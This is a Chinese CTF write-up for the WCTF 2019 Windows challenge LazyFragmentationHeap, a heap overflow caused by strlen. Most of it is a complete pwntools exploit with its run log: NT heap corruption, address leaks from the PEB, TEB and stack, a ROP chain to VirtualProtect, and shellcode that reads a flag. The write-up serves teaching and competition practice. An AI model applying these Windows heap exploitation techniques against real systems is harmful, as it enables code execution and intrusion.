WCTF 2019 Windows pwn LazyFragmentationHeap

TOC

  1. 1. 漏洞
  2. 2. 0x1a 中断流
  3. 3. 思路
  4. 4. 脚本

Angelboy 出的一道 winpwn ,相比较其另一道winpwn : HITCON CTF 2019 dadadb,其难度差距还是很大的。

作者 AngelBoy 已经在 Github 上公开了思路和源码,所以下面我会讲的简单一些,LazyFragmentationHeap

这里也提供我的环境:wctf_2019_LazyFragmentationHeap.zip

说实话做实验的时候并没有感受到 低碎片堆 的特性,可能是我对 Windows API 的 核心原理还不够了解。

漏洞

喜闻乐见的 strlen 导致的 heap 溢出。

if ( !global_buffer_array[v16].calloc_ptr
|| global_buffer_array[v18].read_magic2 != 0xDDAABEEF1ACDi64
|| global_buffer_array[v18].magic1 != 0xDDAABEEF1ACDi64 )
{
puts("Error !");
exit(-3);
}
printf("Content:", v15);
v19 = -1i64;
v20 = (_BYTE *)global_buffer_array[v18].calloc_ptr;
v21 = global_buffer_array[v18].size;
do
++v19;
while ( v20[v19] );
if ( v19 > v21 && global_buffer_array[v18].read_magic2 == 0xDDAABEEF1ACDi64 )
{
v21 = -1i64;
do
++v21;
while ( v20[v21] );
}
if ( read(0, v20, v21) <= 0 )
{
puts("read error");
_exit(1);
}
global_buffer_array[v18].read_magic2 ^= 0xFACEB00CA4DADDAAui64;
puts("Done !");

难点在于其数量过多的障碍设置:

0x1a 中断流

0x1A在ASCII码中代表EOF,在过去,ASCII码EOF曾经在unix/linux中被作为文件结束符使用,微软继承了这个传统,也以EOF作为文件的结束符。

由于输入句柄是以文件流形式打开的,所以当我们输入时,输入流一旦接受到 0x1a ,就会立马关闭。

举个例子:

#include <Windows.h>
#include <stdio.h>

int main()
{
FILE *fp, *fp_r, *fp_rb;
int i;
fopen_s(&fp, "temp.txt", "wb");
fputc('a', fp);
fputc(0x1a, fp);
fputc('b', fp);
fclose(fp);

fopen_s(&fp_r, "temp.txt", "r");
fopen_s(&fp_rb, "temp.txt", "rb");
printf("fp_r : ");
for (i = 0; i < 3; i++)
{
printf("%8x ", fgetc(fp_r));
}
printf("\nfp_rb: ");
for (i = 0; i < 3; i++)
{
printf("%8x ", fgetc(fp_rb));
}
puts("");

fclose(fp_r);
fclose(fp_rb);
return DeleteFile("temp.txt") ? 0 : 1;
}

运行结果如下:

fp_r :       61 ffffffff ffffffff
fp_rb: 61 1a 62

思路

这里思路的核心在于 Windows 的 程序、动态库的基地址在短时间内是不会变的,可以利用这一特性来间接完成一些操作。还有其一些在 default heap 的数据在短时间内的偏移也是不变的,这一点对于利用也很重要。

脚本

脚本概率大约是1/3,可能会遇到无限阻塞的情况,重新执行即可。

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

host = '192.168.1.104'
port = 10001

context.arch = 'amd64'
# context.log_level = 'debug'
sh = None
ntdll_addr = None

def add(size, id):
sh.sendlineafter('Your choice: ', '1')
sh.sendlineafter('Size:', str(size))
sh.sendlineafter('ID:', str(id))

def edit(id, content):
sh.sendlineafter('Your choice: ', '2')
sh.sendlineafter('ID:', str(id))
sh.sendafter('Content:', content)

def show(id):
sh.sendlineafter('Your choice: ', '3')
sh.sendlineafter('ID:', str(id))
sh.recvuntil('Content: ')
return sh.recvuntil('\r\n', drop=True) + '\0'

def delete(id):
sh.sendlineafter('Your choice: ', '4')
sh.sendlineafter('ID:', str(id))

def open_file(times):
sh.sendlineafter('Your choice: ', '5')
for i in range(times):
sh.sendlineafter('Your choice: ', '1')
sh.sendlineafter('Your choice: ', '3')

def read_file(id, size, content=None):
sh.sendlineafter('Your choice: ', '5')
sh.sendlineafter('Your choice: ', '2')
sh.sendlineafter('ID:', str(id))
sh.sendlineafter('Size:', str(size))
if(content):
sh.send(content)
sh.sendlineafter('Your choice: ', '3')

print('\nstep 1 : leak ntdll address\n')
while(True):

sh = remote(host, port)
open_file(6)

add(0x88, 1)
add(0x88, 2)
add(0x88, 3)
read_file(1, 0x88)
result = show(1)[0x88:]
Encoding = u64(result.ljust(8, '\0')) ^ 0x000000908010009
log.success('Encoding: ' + hex(Encoding))
if((Encoding & 0xff0000000000) == 0):
sh.close()
continue

edit(1, 'a' * 0x88 + p64(0x080000913010012 ^ Encoding)[:6])
delete(2)
add(0x88, 4)
result = show(3)
heap_addr = u64(result.ljust(8, '\0')) & 0xffffffffffff0000
if(heap_addr == 0):
sh.close()
continue
log.success('heap_addr: ' + hex(heap_addr))
open_file(1)

fake_file = [
0, 0xBEEFDAD0000 + 0x28 + 0x20,
p32(0), p32(0x2080), 0,
0x100, 0,
0xffffffffffffffff, p32(0xffffffff),p32(0),
0, 0,
]

edit(3, flat(fake_file))
read_file(4, 8, p64(heap_addr + 0x2c0))
result = show(4)
ntdll_addr = (u64(result.ljust(8, '\0')) - 0x15f000) & 0xffffffffffff0000
log.success('ntdll_addr: ' + hex(ntdll_addr))
sh.close()
break

def leak(addr, heap_offset=None):
global sh
while(True):
try:
sh = remote(host, port)
open_file(6)

add(0x88, 1)
add(0x88, 2)
add(0x88, 3)
read_file(1, 0x88)
result = show(1)[0x88:]
Encoding = u64(result.ljust(8, '\0')) ^ 0x000000908010009
log.success('Encoding: ' + hex(Encoding))
if((Encoding & 0xff0000000000) == 0):
sh.close()
continue

edit(1, 'a' * 0x88 + p64(0x080000913010012 ^ Encoding)[:6])
delete(2)
add(0x88, 4)
result = show(3)
heap_addr = u64(result.ljust(8, '\0')) & 0xffffffffffff0000
log.success('heap_addr: ' + hex(heap_addr))
if(heap_addr == 0):
sh.close()
continue
open_file(1)

fake_file = [
0, 0xBEEFDAD0000 + 0x28 + 0x20,
p32(0), p32(0x2080), 0,
0x100, 0,
0xffffffffffffffff, p32(0xffffffff),p32(0),
0, 0,
]

edit(3, flat(fake_file))
if(heap_offset):
read_file(4, 8, p64(heap_addr + addr))
else:
read_file(4, 8, p64(addr))
result = show(4)
sh.close()
return u64(result.ljust(8, '\0')[:8])
except KeyboardInterrupt as e:
sh.close()
exit(0)
except:
sh.close()

print('\nstep 2 : leak other address\n')
PebLdr = ntdll_addr + 0x1653c0
offset = leak(PebLdr + 0x10) & 0xffff
image_base = leak(offset + 0x30 + 2, 1) << 16
log.success('image_base: ' + hex(image_base))

kernel32_addr = leak(image_base + 0x3000) - 0x1a190 # kernel32!VirtualAllocStub
log.success('kernel32_addr: ' + hex(kernel32_addr))

ucrtbase_addr = leak(image_base + 0x3190) - 0x80880 # ucrtbase!puts
log.success('ucrtbase_addr: ' + hex(ucrtbase_addr))

ucrtbase_pioinfo_ptr = ucrtbase_addr + 0xeb770
pioinfo_offset = leak(ucrtbase_pioinfo_ptr) & 0xffff
log.success('pioinfo_offset: ' + hex(pioinfo_offset))


print('\nstep 3 : unlink\n')
while(True):
sh = remote(host, port)
open_file(5)

add(0x88, 1)
add(0x88, 2)
add(0xe8, 3)
add(0x88, 5)
add(0x88, 6)
read_file(1, 0x88)
result = show(1)[0x88:]
Encoding = u64(result.ljust(8, '\0')) ^ 0x000000908010009
log.success('Encoding: ' + hex(Encoding))
if((Encoding & 0xff0000000000) == 0):
sh.close()
continue

edit(1, 'a' * 0x88 + p64(0x080000920010021 ^ Encoding)[:6])
delete(2)
add(0x88, 4)

result = show(3)
heap_addr = u64(result.ljust(8, '\0')) & 0xffffffffffff0000
log.success('heap_addr: ' + hex(heap_addr))
if(heap_addr == 0):
sh.close()
continue

open_file(1)
add(0x88, 7)

add(0x88, 0x0800000613010012 ^ Encoding)

fake_file = [
0, 0xBEEFDAD0000 + 0x28 + 0x20,
p32(0), p32(0x2080), 0,
0x100, 0,
0xffffffffffffffff, p32(0xffffffff),p32(0),
0, 0,
]

edit(3, flat(fake_file) + p64(0) + p64(0x0800000613010012 ^ Encoding))
delete(7)
add(0x88, 9)

# change text mode to binary mode
read_file(4, 8, p64(heap_addr + pioinfo_offset + 0x38))
edit(4, p8(0xc1))

edit(5, p64(0xBEEFDAD0000 + 0x28 * 6 + 0x20 - 8) + p64(0xBEEFDAD0000 + 0x28 * 6 + 0x20))
add(0x88, 10)

edit(0x0800000613010012 ^ Encoding, flat([0, 0xDDAABEEF1ACD, 0x100, 100, 0xDDAABEEF1ACD, 0xBEEFDAD0000]))

node_array = [0xDDAABEEF1ACD, 0x1000, 1, 0xDDAABEEF1ACD, 0xBEEFDAD0000, 0xDDAABEEF1ACD, 0x1000, 2, 0xDDAABEEF1ACD, 0xBEEFDAD0000,]
layout = node_array + [0xDDAABEEF1ACD, 0x100, 3, 0xDDAABEEF1ACD, PebLdr - 120,]
point = 0
edit(100, flat(layout))
result = show(3)
Peb_addr = u64(result.ljust(8, '\0')) - 0x80
log.success('Peb_addr: ' + hex(Peb_addr))
Teb_addr = Peb_addr + 0x1000

layout = node_array + [[0xDDAABEEF1ACD, 0x100, 3 + i, 0xDDAABEEF1ACD, Teb_addr + 8 + i,] for i in range(8)]
point = 2 if (point == 1) else 1
edit(point, flat(layout))
result = ''
while(len(result) < 8):
result += show(3 + len(result))
stack_base = u64(result[:8])
log.success('stack_base: ' + hex(stack_base))

main_ret_content = image_base + 0x1B78

print('\nstep 4 : search for main ret address\n')
main_ret = 0
offset = 0
while(offset != -1):
offset += 0x40
layout = node_array + [[0xDDAABEEF1ACD, 0x100, 3 + i, 0xDDAABEEF1ACD, stack_base - offset + i * 8,] for i in range(8)]
point = 2 if (point == 1) else 1
edit(point, flat(layout))
for i in range(8)[::-1]:
result = show(3 + i).ljust(8, '\0')
if(main_ret_content == u64(result[:8])):
main_ret = stack_base - offset + i * 8
offset = -1
break

log.success('main_ret: ' + hex(main_ret))

shellcode_addr = image_base + 0x5800
layout = node_array + [
0xDDAABEEF1ACD, 0x100, 3, 0xDDAABEEF1ACD, main_ret - 0x80,
0xDDAABEEF1ACD, 0x400, 4, 0xDDAABEEF1ACD, shellcode_addr,
]
point = 2 if (point == 1) else 1
edit(point, flat(layout))

asm_str = '''
sub rsp, 0x1000 ;// to prevent underflowing

mov rax, 0x7478742e67616c66 ;// flag.txt
mov [rsp + 0x100], rax
mov byte ptr [rsp + 0x108], 0
lea rcx, [rsp + 0x100]
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
mov dword ptr[rsp + 0x20], 3
mov dword ptr[rsp + 0x28], 0x80
mov [rsp + 0x30], r9
mov rax, %d
call rax ;// CreateFile

mov rcx, rax
lea rdx, [rsp + 0x200]
mov r8d, 0x200
lea r9, [rsp + 0x30]
xor eax, eax
mov [rsp + 0x20], rax
mov rax, %d
call rax ;// ReadFile

mov ecx, 0xfffffff5 ;// STD_OUTPUT_HANDLE
mov rax, %d
call rax ;// GetStdHandle

mov rcx, rax
lea rdx, [rsp + 0x200]
mov r8d, [rsp + 0x30]
lea r9, [rsp + 0x40]
xor eax, eax
mov [rsp + 0x20], rax
mov rax, %d
call rax ;// WriteFile

mov rax, %d
call rax ;// exit
''' % ( kernel32_addr + 0x22080, kernel32_addr + 0x22410, kernel32_addr + 0x1c610, kernel32_addr + 0x22500, image_base + 0x18D4)

shellcode = asm(asm_str)
edit(4, shellcode)

VirtualProtect = kernel32_addr + 0x1af90
layout = [
ntdll_addr + 0x8c4b7, #: pop rdx; pop r11; ret;
0x1000,
0,
ntdll_addr + 0x21597, #: pop rcx; ret;
shellcode_addr & 0xfffffffffffff000,
ntdll_addr + 0x8c4b2, #: pop r8; pop r9; pop r10; pop r11; ret;
0x40, # PAGE_EXECUTE_READWRITE
shellcode_addr + 0x500,
0, 0,

VirtualProtect,
shellcode_addr,
]

sh.sendlineafter('Your choice: ', '2')
sh.sendlineafter('ID:', str(3))
sh.sendafter('Content:', flat(layout))

sh.interactive()
break

执行效果:

ex@Ex:~/test$ python exp.py 

step 1 : leak ntdll address

[+] Opening connection to 192.168.1.104 on port 10001: Done
[+] Encoding: 0x884739d46bc8
[+] heap_addr: 0x23d6b660000
[+] ntdll_addr: 0x7ffa3a060000
[*] Closed connection to 192.168.1.104 port 10001

step 2 : leak other address

[+] Opening connection to 192.168.1.104 on port 10001: Done
[+] Encoding: 0x69365583807
[+] heap_addr: 0x1de7b1e0000
[*] Closed connection to 192.168.1.104 port 10001
[+] Opening connection to 192.168.1.104 on port 10001: Done
[+] Encoding: 0x32eabad343e5
[+] heap_addr: 0x20601430000
[*] Closed connection to 192.168.1.104 port 10001
[+] image_base: 0x7ff663030000
[+] Opening connection to 192.168.1.104 on port 10001: Done
[+] Encoding: 0xbd35fa155db5
[+] heap_addr: 0x1c154a90000
[*] Closed connection to 192.168.1.104 port 10001
[+] kernel32_addr: 0x7ffa39720000
[+] Opening connection to 192.168.1.104 on port 10001: Done
[+] Encoding: 0xa452c75b8940
[+] heap_addr: 0x29414850000
[*] Closed connection to 192.168.1.104 port 10001
[+] ucrtbase_addr: 0x7ffa37bc0000
[+] Opening connection to 192.168.1.104 on port 10001: Done
[+] Encoding: 0x69a1a513ec6f
[+] heap_addr: 0x1d0ca8d0000
[*] Closed connection to 192.168.1.104 port 10001
[+] pioinfo_offset: 0x6950

step 3 : unlink

[+] Opening connection to 192.168.1.104 on port 10001: Done
[+] Encoding: 0xb2fc939c4700
[+] heap_addr: 0x0
[*] Closed connection to 192.168.1.104 port 10001
[+] Opening connection to 192.168.1.104 on port 10001: Done
[+] Encoding: 0x86f6271060b9
[+] heap_addr: 0x18336760000
[+] Peb_addr: 0x35c2323000
[+] stack_base: 0x35c2500000

step 4 : search for main ret address

[+] main_ret: 0x35c24ffea8
[*] Switching to interactive mode
flag{this_is_a_flag}
[*] Got EOF while reading in interactive
$